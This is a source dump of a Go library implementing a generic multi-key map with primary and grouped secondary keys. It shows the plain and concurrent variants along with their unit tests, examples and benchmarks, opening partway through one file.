| m.mu.RLock() 160 | defer m.mu.RUnlock() 161 | return fmt.Sprintf("ConcurrentMultiKeyMap: %v", m.primary) 162 | } 163 | -------------------------------------------------------------------------------- /multikeymap/concurrent_test.go: -------------------------------------------------------------------------------- 1 | package multikeymap 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "sync" 7 | "testing" 8 | 9 | "github.com/optimisticsai/go-multikeymap/container" 10 | "github.com/stretchr/testify/assert" 11 | ) 12 | 13 | func ExampleNewConcurrent() { 14 | mm := NewConcurrent[string, int]() 15 | mm.Put("keyA1", 1) 16 | mm.PutSecondaryKeys("keyA1", "group1", "key1", "key2") 17 | mm.PutSecondaryKeys("keyA1", "group2", "key3", "key4") 18 | value, exists := mm.Get("keyA1") 19 | fmt.Printf("[Key A1] value: %v, exists: %v\n", value, exists) 20 | value, exists = mm.GetBySecondaryKey("group1", "key2") 21 | fmt.Printf("[Secondary group1 key2] value: %v, exists: %v\n", value, exists) 22 | 23 | // Output: 24 | // [Key A1] value: 1, exists: true 25 | // [Secondary group1 key2] value: 1, exists: true 26 | } 27 | 28 | func TestConcurrentMultiKeyMap_ImplementsContainerInterface(t *testing.T) { 29 | instance := NewConcurrent[int, int]() 30 | if _, ok := any(instance).(container.Container[int]); !ok { 31 | t.Error("MultiKeyMap does not implement the Container interface") 32 | } 33 | } 34 | 35 | func TestConcurrentMultiKeyMap_SetAndGet(t *testing.T) { 36 | mm := NewConcurrent[string, int]() 37 | mm.Put("key1", 1) 38 | value, exists := mm.Get("key1") 39 | if !exists || value != 1 { 40 | t.Errorf("expected value 1, got %v, exists: %v", value, exists) 41 | } 42 | } 43 | 44 | func TestConcurrentMultiKeyMap_SetSecondaryKeys(t *testing.T) { 45 | mm := NewConcurrent[string, int]() 46 | mm.Put("key1", 1) 47 | mm.PutSecondaryKeys("key1", "group1", "secKey1", "secKey2") 48 | value, exists := mm.GetBySecondaryKey("group1", "secKey1") 49 | if !exists || value != 1 { 50 | t.Errorf("expected value 1, got %v, exists: %v", value, exists) 51 | } 52 | } 53 | 54 | func TestConcurrentMultiKeyMap_HasPrimaryKey(t *testing.T) { 55 | mm := NewConcurrent[string, int]() 56 | mm.Put("key1", 1) 57 | if !mm.HasPrimaryKey("key1") { 58 | t.Error("expected primary key 'key1' to exist") 59 | } 60 | } 61 | 62 | func TestConcurrentMultiKeyMap_HasSecondaryKey(t *testing.T) { 63 | mm := NewConcurrent[string, int]() 64 | mm.Put("key1", 1) 65 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 66 | if !mm.HasSecondaryKey("group1", "secKey1") { 67 | t.Error("expected secondary key 'secKey1' in group 'group1' to exist") 68 | } 69 | } 70 | 71 | func TestConcurrentMultiKeyMap_Remove(t *testing.T) { 72 | mm := NewConcurrent[string, int]() 73 | mm.Put("key1", 1) 74 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 75 | mm.Remove("key1") 76 | if mm.HasPrimaryKey("key1") { 77 | t.Error("expected primary key 'key1' to be removed") 78 | } 79 | if mm.HasSecondaryKey("group1", "secKey1") { 80 | t.Error("expected secondary key 'secKey1' in group 'group1' to be removed") 81 | } 82 | } 83 | 84 | func TestConcurrentMultiKeyMap_GetAllKeyGroups(t *testing.T) { 85 | mm := NewConcurrent[string, int]() 86 | mm.Put("key1", 1) 87 | mm.PutSecondaryKeys("key1", "group1", "secKey1", "secKey2") 88 | mm.Put("key2", 2) 89 | mm.PutSecondaryKeys("key2", "group2", "secKey3") 90 | allGroups := mm.GetAllKeyGroups() 91 | if len(allGroups) != 2 || len(allGroups["group1"]) != 2 || len(allGroups["group2"]) != 1 { 92 | t.Errorf("expected allGroups to contain 'group1' and 'group2' with correct keys, got %v", allGroups) 93 | } 94 | } 95 | 96 | func TestConcurrentMultiKeyMap_GetBySecondaryKey_NotFound(t *testing.T) { 97 | mm := NewConcurrent[string, int]() 98 | mm.Put("key1", 1) 99 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 100 | if _, exists := mm.GetBySecondaryKey("group1", "nonExistentKey"); exists { 101 | t.Error("expected 'nonExistentKey' to not be found") 102 | } 103 | } 104 | 105 | func TestConcurrentMultiKeyMap_String(t *testing.T) { 106 | mm := NewConcurrent[string, int]() 107 | mm.Put("key1", 1) 108 | expected := "ConcurrentMultiKeyMap: map[key1:1]" 109 | if mm.String() != expected { 110 | t.Errorf("expected %s, got %s", expected, mm.String()) 111 | } 112 | } 113 | 114 | func TestConcurrentMultiKeyMap_Size(t *testing.T) { 115 | mm := NewConcurrent[string, int]() 116 | mm.Put("key1", 1) 117 | mm.Put("key2", 2) 118 | if mm.Size() != 2 { 119 | t.Errorf("expected size 2, got %d", mm.Size()) 120 | } 121 | } 122 | 123 | func TestConcurrentMultiKeyMap_Empty(t *testing.T) { 124 | mm := NewConcurrent[string, int]() 125 | if !mm.Empty() { 126 | t.Error("expected map to be empty") 127 | } 128 | mm.Put("key1", 1) 129 | if mm.Empty() { 130 | t.Error("expected map to not be empty") 131 | } 132 | } 133 | 134 | func TestConcurrentMultiKeyMap_Values(t *testing.T) { 135 | mm := NewConcurrent[string, int]() 136 | mm.Put("key1", 1) 137 | mm.Put("key2", 2) 138 | values := mm.Values() 139 | assert.Len(t, values, 2) 140 | 141 | // We get a list here, but as the map underneath has no order 142 | // we need to check for contains and not equals list. 143 | expectedValues := map[int]bool{1: true, 2: true} 144 | for _, value := range values { 145 | assert.Contains(t, expectedValues, value) 146 | } 147 | } 148 | 149 | func TestConcurrentMultiKeyMap_Clear(t *testing.T) { 150 | mm := NewConcurrent[string, int]() 151 | mm.Put("key1", 1) 152 | mm.Clear() 153 | if !mm.Empty() { 154 | t.Error("expected map to be empty after clear") 155 | } 156 | } 157 | 158 | func TestConcurrentMultiKeyMap_ConcurrentAccess(t *testing.T) { 159 | mm := NewConcurrent[string, int]() 160 | var wg sync.WaitGroup 161 | const numGoroutines = 100 162 | 163 | // Concurrently add values 164 | for i := range numGoroutines { 165 | wg.Add(1) 166 | go concurrentAdd(t, i, &wg, mm) 167 | } 168 | 169 | // Wait for all goroutines to finish 170 | wg.Wait() 171 | 172 | // Concurrently get values 173 | for i := range numGoroutines { 174 | wg.Add(1) 175 | go concurrentGet(t, i, &wg, mm) 176 | } 177 | 178 | // Wait for all goroutines to finish 179 | wg.Wait() 180 | 181 | // Concurrently remove values 182 | for i := range numGoroutines { 183 | wg.Add(1) 184 | go func(i int) { 185 | concurrentRemove(t, i, &wg, mm) 186 | }(i) 187 | } 188 | 189 | // Wait for all goroutines to finish 190 | wg.Wait() 191 | } 192 | 193 | func concurrentAdd(t *testing.T, i int, wg *sync.WaitGroup, mm *ConcurrentMultiKeyMap[string, int]) { 194 | t.Helper() 195 | defer wg.Done() 196 | key := fmt.Sprintf("key%d", i) 197 | mm.Put(key, i) 198 | } 199 | 200 | func concurrentGet(t *testing.T, i int, wg *sync.WaitGroup, mm *ConcurrentMultiKeyMap[string, int]) { 201 | t.Helper() 202 | defer wg.Done() 203 | key := fmt.Sprintf("key%d", i) 204 | if value, exists := mm.Get(key); !exists || value != i { 205 | t.Errorf("expected %d, got %v", i, value) 206 | } 207 | } 208 | 209 | func concurrentRemove(t *testing.T, i int, wg *sync.WaitGroup, mm *ConcurrentMultiKeyMap[string, int]) { 210 | t.Helper() 211 | defer wg.Done() 212 | key := fmt.Sprintf("key%d", i) 213 | mm.Remove(key) 214 | if _, exists := mm.Get(key); exists { 215 | t.Errorf("expected key%d to be removed", i) 216 | } 217 | } 218 | 219 | // Benchmarks 220 | 221 | var benchmarkConcurrentSizes = []struct { 222 | size int 223 | }{ 224 | {size: 100}, 225 | {size: 1000}, 226 | {size: 10_000}, 227 | {size: 100_000}, 228 | } 229 | 230 | func BenchmarkConcurrentMultiKeyMapGet(b *testing.B) { 231 | for _, v := range benchmarkConcurrentSizes { 232 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 233 | m := NewConcurrent[string, int]() 234 | for n := range v.size { 235 | m.Put(strconv.Itoa(n), n) 236 | } 237 | b.ResetTimer() 238 | for range b.N { 239 | for n := range v.size { 240 | m.Get(strconv.Itoa(n)) 241 | } 242 | } 243 | }) 244 | } 245 | } 246 | 247 | func BenchmarkConcurrentMultiKeyMapPut(b *testing.B) { 248 | for _, v := range benchmarkConcurrentSizes { 249 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 250 | m := NewConcurrent[string, int]() 251 | b.ResetTimer() 252 | for range b.N { 253 | for n := range v.size { 254 | m.Put(strconv.Itoa(n), n) 255 | } 256 | } 257 | }) 258 | } 259 | } 260 | 261 | func BenchmarkConcurrentMultiKeyMapRemove(b *testing.B) { 262 | for _, v := range benchmarkConcurrentSizes { 263 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 264 | m := NewConcurrent[string, int]() 265 | for n := range v.size { 266 | m.Put(strconv.Itoa(n), n) 267 | } 268 | b.ResetTimer() 269 | for range b.N { 270 | for n := range v.size { 271 | m.Remove(strconv.Itoa(n)) 272 | } 273 | } 274 | }) 275 | } 276 | } 277 | -------------------------------------------------------------------------------- /multikeymap/multikeymap.go: -------------------------------------------------------------------------------- 1 | package multikeymap 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // MultiKeyMap is a generic in-memory map with a primary key and multiple secondary keys. 8 | // It implements container/Container. 9 | type MultiKeyMap[K comparable, V any] struct { 10 | primary map[K]V 11 | secondary map[string]map[string]K // Group -> SecondaryKey -> PrimaryKey 12 | secondaryTo map[K]map[string]string // PrimaryKey -> Group -> SecondaryKey 13 | } 14 | 15 | // New creates a new MultiKeyMap instance. 16 | func New[K comparable, V any]() *MultiKeyMap[K, V] { 17 | return &MultiKeyMap[K, V]{ 18 | primary: make(map[K]V), 19 | secondary: make(map[string]map[string]K), 20 | secondaryTo: make(map[K]map[string]string), 21 | } 22 | } 23 | 24 | // Put inserts a value with a primary key. 25 | func (m *MultiKeyMap[K, V]) Put(primaryKey K, value V) { 26 | m.primary[primaryKey] = value 27 | } 28 | 29 | // PutSecondaryKeys adds secondary keys under a group for a primary key. 30 | func (m *MultiKeyMap[K, V]) PutSecondaryKeys(primaryKey K, group string, keys ...string) { 31 | if m.secondary[group] == nil { 32 | m.secondary[group] = make(map[string]K) 33 | } 34 | if m.secondaryTo[primaryKey] == nil { 35 | m.secondaryTo[primaryKey] = make(map[string]string) 36 | } 37 | for _, key := range keys { 38 | m.secondary[group][key] = primaryKey 39 | m.secondaryTo[primaryKey][group] = key 40 | } 41 | } 42 | 43 | // HasPrimaryKey checks if a primary key exists. 44 | func (m *MultiKeyMap[K, V]) HasPrimaryKey(primaryKey K) bool { 45 | _, exists := m.primary[primaryKey] 46 | return exists 47 | } 48 | 49 | // HasSecondaryKey checks if a secondary key exists in a specific group. 50 | func (m *MultiKeyMap[K, V]) HasSecondaryKey(group string, key string) bool { 51 | if groupKeys, exists := m.secondary[group]; exists { 52 | _, exists := groupKeys[key] 53 | return exists 54 | } 55 | return false 56 | } 57 | 58 | // GetAllKeyGroups returns all key groups and their secondary keys. 59 | func (m *MultiKeyMap[K, V]) GetAllKeyGroups() map[string]map[string]K { 60 | // Create a copy of the key groups to avoid concurrency issues 61 | result := make(map[string]map[string]K) 62 | for group, keys := range m.secondary { 63 | result[group] = make(map[string]K) 64 | for key, primary := range keys { 65 | result[group][key] = primary 66 | } 67 | } 68 | return result 69 | } 70 | 71 | // Remove removes a primary key and its associated secondary keys. 72 | func (m *MultiKeyMap[K, V]) Remove(primaryKey K) { 73 | delete(m.primary, primaryKey) 74 | if groups, exists := m.secondaryTo[primaryKey]; exists { 75 | for group, key := range groups { 76 | delete(m.secondary[group], key) 77 | if len(m.secondary[group]) == 0 { 78 | delete(m.secondary, group) 79 | } 80 | } 81 | delete(m.secondaryTo, primaryKey) 82 | } 83 | } 84 | 85 | // Get returns a value by primary key. 86 | func (m *MultiKeyMap[K, V]) Get(primaryKey K) (V, bool) { 87 | value, exists := m.primary[primaryKey] 88 | return value, exists 89 | } 90 | 91 | // GetBySecondaryKey returns a primary key by secondary key and group. 92 | func (m *MultiKeyMap[K, V]) GetBySecondaryKey(group string, key string) (V, bool) { 93 | if groupKeys, exists := m.secondary[group]; exists { 94 | primaryKey, exists := groupKeys[key] 95 | if exists { 96 | value, exists := m.primary[primaryKey] 97 | return value, exists 98 | } 99 | } 100 | return *new(V), false 101 | } 102 | 103 | // Size returns the number of primary keys in the map. 104 | func (m *MultiKeyMap[K, V]) Size() int { 105 | return len(m.primary) 106 | } 107 | 108 | // Empty checks if the map is empty. 109 | func (m *MultiKeyMap[K, V]) Empty() bool { 110 | return len(m.primary) == 0 111 | } 112 | 113 | // Values returns a slice of all values in the map. 114 | func (m *MultiKeyMap[K, V]) Values() []V { 115 | values := make([]V, 0, len(m.primary)) 116 | for _, value := range m.primary { 117 | values = append(values, value) 118 | } 119 | return values 120 | } 121 | 122 | // Clear removes all elements from the map. 123 | func (m *MultiKeyMap[K, V]) Clear() { 124 | m.primary = make(map[K]V) 125 | m.secondary = make(map[string]map[string]K) 126 | m.secondaryTo = make(map[K]map[string]string) 127 | } 128 | 129 | // String returns a string representation of the map. 130 | func (m *MultiKeyMap[K, V]) String() string { 131 | return fmt.Sprintf("MultiKeyMap: %v", m.primary) 132 | } 133 | -------------------------------------------------------------------------------- /multikeymap/multikeymap_test.go: -------------------------------------------------------------------------------- 1 | package multikeymap 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "testing" 7 | 8 | "github.com/optimisticsai/go-multikeymap/container" 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func ExampleNew() { 13 | mm := New[string, int]() 14 | mm.Put("keyA1", 1) 15 | mm.PutSecondaryKeys("keyA1", "group1", "key1", "key2") 16 | mm.PutSecondaryKeys("keyA1", "group2", "key3", "key4") 17 | value, exists := mm.Get("keyA1") 18 | fmt.Printf("[Key A1] value: %v, exists: %v\n", value, exists) 19 | value, exists = mm.GetBySecondaryKey("group1", "key2") 20 | fmt.Printf("[Secondary group1 key2] value: %v, exists: %v\n", value, exists) 21 | 22 | // Output: 23 | // [Key A1] value: 1, exists: true 24 | // [Secondary group1 key2] value: 1, exists: true 25 | } 26 | 27 | func TestMultiKeyMap_ImplementsContainerInterface(t *testing.T) { 28 | instance := New[int, int]() 29 | if _, ok := any(instance).(container.Container[int]); !ok { 30 | t.Error("MultiKeyMap does not implement the Container interface") 31 | } 32 | } 33 | 34 | func TestMultiKeyMap_SetAndGet(t *testing.T) { 35 | mm := New[string, int]() 36 | mm.Put("key1", 1) 37 | value, exists := mm.Get("key1") 38 | if !exists || value != 1 { 39 | t.Errorf("expected value 1, got %v, exists: %v", value, exists) 40 | } 41 | } 42 | 43 | func TestMultiKeyMap_SetSecondaryKeys(t *testing.T) { 44 | mm := New[string, int]() 45 | mm.Put("key1", 1) 46 | mm.PutSecondaryKeys("key1", "group1", "secKey1", "secKey2") 47 | value, exists := mm.GetBySecondaryKey("group1", "secKey1") 48 | if !exists || value != 1 { 49 | t.Errorf("expected value 1, got %v, exists: %v", value, exists) 50 | } 51 | } 52 | 53 | func TestMultiKeyMap_HasPrimaryKey(t *testing.T) { 54 | mm := New[string, int]() 55 | mm.Put("key1", 1) 56 | if !mm.HasPrimaryKey("key1") { 57 | t.Error("expected primary key 'key1' to exist") 58 | } 59 | } 60 | 61 | func TestMultiKeyMap_HasSecondaryKey(t *testing.T) { 62 | mm := New[string, int]() 63 | mm.Put("key1", 1) 64 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 65 | if !mm.HasSecondaryKey("group1", "secKey1") { 66 | t.Error("expected secondary key 'secKey1' in group 'group1' to exist") 67 | } 68 | } 69 | 70 | func TestMultiKeyMap_Remove(t *testing.T) { 71 | mm := New[string, int]() 72 | mm.Put("key1", 1) 73 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 74 | mm.Remove("key1") 75 | if mm.HasPrimaryKey("key1") { 76 | t.Error("expected primary key 'key1' to be removed") 77 | } 78 | if mm.HasSecondaryKey("group1", "secKey1") { 79 | t.Error("expected secondary key 'secKey1' in group 'group1' to be removed") 80 | } 81 | } 82 | 83 | func TestMultiKeyMap_GetAllKeyGroups(t *testing.T) { 84 | mm := New[string, int]() 85 | mm.Put("key1", 1) 86 | mm.PutSecondaryKeys("key1", "group1", "secKey1", "secKey2") 87 | mm.Put("key2", 2) 88 | mm.PutSecondaryKeys("key2", "group2", "secKey3") 89 | allGroups := mm.GetAllKeyGroups() 90 | if len(allGroups) != 2 || len(allGroups["group1"]) != 2 || len(allGroups["group2"]) != 1 { 91 | t.Errorf("expected allGroups to contain 'group1' and 'group2' with correct keys, got %v", allGroups) 92 | } 93 | } 94 | 95 | func TestMultiKeyMap_GetBySecondaryKey_NotFound(t *testing.T) { 96 | mm := New[string, int]() 97 | mm.Put("key1", 1) 98 | mm.PutSecondaryKeys("key1", "group1", "secKey1") 99 | if _, exists := mm.GetBySecondaryKey("group1", "nonExistentKey"); exists { 100 | t.Error("expected 'nonExistentKey' to not be found") 101 | } 102 | } 103 | 104 | func TestMultiKeyMap_String(t *testing.T) { 105 | mm := New[string, int]() 106 | mm.Put("key1", 1) 107 | 108 | expected := "MultiKeyMap: map[key1:1]" 109 | assert.Equal(t, expected, mm.String()) 110 | } 111 | 112 | func TestMultiKeyMap_Size(t *testing.T) { 113 | mm := New[string, int]() 114 | mm.Put("key1", 1) 115 | mm.Put("key2", 2) 116 | assert.Equal(t, 2, mm.Size()) 117 | } 118 | 119 | func TestMultiKeyMap_Empty(t *testing.T) { 120 | mm := New[string, int]() 121 | if !mm.Empty() { 122 | t.Error("expected map to be empty") 123 | } 124 | mm.Put("key1", 1) 125 | if mm.Empty() { 126 | t.Error("expected map to not be empty") 127 | } 128 | } 129 | 130 | func TestMultiKeyMap_Values(t *testing.T) { 131 | mm := New[string, int]() 132 | mm.Put("key1", 1) 133 | mm.Put("key2", 2) 134 | values := mm.Values() 135 | assert.Len(t, values, 2) 136 | 137 | // We get a list here, but as the map underneath has no order 138 | // we need to check for contains and not equals list. 139 | expectedValues := map[int]bool{1: true, 2: true} 140 | for _, value := range values { 141 | assert.Contains(t, expectedValues, value) 142 | } 143 | } 144 | 145 | func TestMultiKeyMap_Clear(t *testing.T) { 146 | mm := New[string, int]() 147 | mm.Put("key1", 1) 148 | mm.Clear() 149 | if !mm.Empty() { 150 | t.Error("expected map to be empty after clear") 151 | } 152 | } 153 | 154 | // Benchmarks 155 | 156 | var benchmarkSizes = []struct { 157 | size int 158 | }{ 159 | {size: 100}, 160 | {size: 1000}, 161 | {size: 10_000}, 162 | {size: 100_000}, 163 | } 164 | 165 | func BenchmarkMultiKeyMapGet(b *testing.B) { 166 | for _, v := range benchmarkSizes { 167 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 168 | m := New[string, int]() 169 | for n := range v.size { 170 | m.Put(strconv.Itoa(n), n) 171 | } 172 | b.ResetTimer() 173 | for range b.N { 174 | for n := range v.size { 175 | m.Get(strconv.Itoa(n)) 176 | } 177 | } 178 | }) 179 | } 180 | } 181 | 182 | func BenchmarkMultiKeyMapPut(b *testing.B) { 183 | for _, v := range benchmarkSizes { 184 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 185 | m := New[string, int]() 186 | b.ResetTimer() 187 | for range b.N { 188 | for n := range v.size { 189 | m.Put(strconv.Itoa(n), n) 190 | } 191 | } 192 | }) 193 | } 194 | } 195 | 196 | func BenchmarkMultiKeyMapRemove(b *testing.B) { 197 | for _, v := range benchmarkSizes { 198 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 199 | m := New[string, int]() 200 | for n := range v.size { 201 | m.Put(strconv.Itoa(n), n) 202 | } 203 | b.ResetTimer() 204 | for range b.N { 205 | for n := range v.size { 206 | m.Remove(strconv.Itoa(n)) 207 | } 208 | } 209 | }) 210 | } 211 | } 212 | --------------------------------------------------------------------------------